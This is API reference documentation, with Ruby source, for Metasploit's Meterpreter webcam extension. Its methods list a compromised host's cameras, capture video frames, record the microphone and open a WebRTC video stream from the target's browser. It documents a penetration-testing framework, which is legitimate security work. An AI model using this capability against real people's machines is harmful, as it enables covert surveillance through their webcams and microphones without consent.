Class: Rex::Post::Meterpreter::Extensions::Stdapi::Webcam::Webcam
- Inherits:
-
Object
- Object
- Rex::Post::Meterpreter::Extensions::Stdapi::Webcam::Webcam
- Includes:
- Msf::Post::Common, Msf::Post::File, Msf::Post::WebRTC
- Defined in:
- lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb
Overview
This meterpreter extension can list and capture from webcams and/or microphone
Instance Attribute Summary collapse
-
#client ⇒ Object
Returns the value of attribute client.
Instance Method Summary collapse
-
#initialize(client) ⇒ Webcam
constructor
A new instance of Webcam.
-
#record_mic(duration) ⇒ Object
Record from default audio source for
duration
seconds; returns a low-quality wav file. - #session ⇒ Object
-
#webcam_chat(server) ⇒ Object
Starts a webcam session with a remote user via WebRTC.
- #webcam_get_frame(quality) ⇒ Object
- #webcam_list ⇒ Object
-
#webcam_start(cam) ⇒ Object
Starts recording video from video source of index
cam
. - #webcam_stop ⇒ Object
Constructor Details
#initialize(client) ⇒ Webcam
Returns a new instance of Webcam.
23 24 25 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 23 def initialize(client) @client = client end |
Instance Attribute Details
#client ⇒ Object
Returns the value of attribute client.
89 90 91 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 89 def client @client end |
Instance Method Details
#record_mic(duration) ⇒ Object
Record from default audio source for duration
seconds; returns a low-quality wav file
82 83 84 85 86 87 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 82 def record_mic(duration) request = Packet.create_request('webcam_audio_record') request.add_tlv(TLV_TYPE_AUDIO_DURATION, duration) response = client.send_request(request) response.get_tlv( TLV_TYPE_AUDIO_DATA ).value end |
#session ⇒ Object
27 28 29 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 27 def session @client end |
#webcam_chat(server) ⇒ Object
Starts a webcam session with a remote user via WebRTC
66 67 68 69 70 71 72 73 74 75 76 77 78 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 66 def webcam_chat(server) offerer_id = Rex::Text.rand_text_alphanumeric(10) channel = Rex::Text.rand_text_alphanumeric(20) remote_browser_path = get_webrtc_browser_path if remote_browser_path.blank? raise RuntimeError, "Unable to find a suitable browser on the target machine" end ready_status = init_video_chat(remote_browser_path, server, channel, offerer_id) connect_video_chat(server, channel, offerer_id) end |
#webcam_get_frame(quality) ⇒ Object
48 49 50 51 52 53 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 48 def webcam_get_frame(quality) request = Packet.create_request('webcam_get_frame') request.add_tlv(TLV_TYPE_WEBCAM_QUALITY, quality) response = client.send_request(request) response.get_tlv( TLV_TYPE_WEBCAM_IMAGE ).value end |
#webcam_list ⇒ Object
31 32 33 34 35 36 37 38 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 31 def webcam_list response = client.send_request(Packet.create_request('webcam_list')) names = [] response.get_tlvs( TLV_TYPE_WEBCAM_NAME ).each{ |tlv| names << tlv.value } names end |
#webcam_start(cam) ⇒ Object
Starts recording video from video source of index cam
41 42 43 44 45 46 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 41 def webcam_start(cam) request = Packet.create_request('webcam_start') request.add_tlv(TLV_TYPE_WEBCAM_INTERFACE_ID, cam) client.send_request(request) true end |
#webcam_stop ⇒ Object
55 56 57 58 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb', line 55 def webcam_stop client.send_request( Packet.create_request( 'webcam_stop' ) ) true end |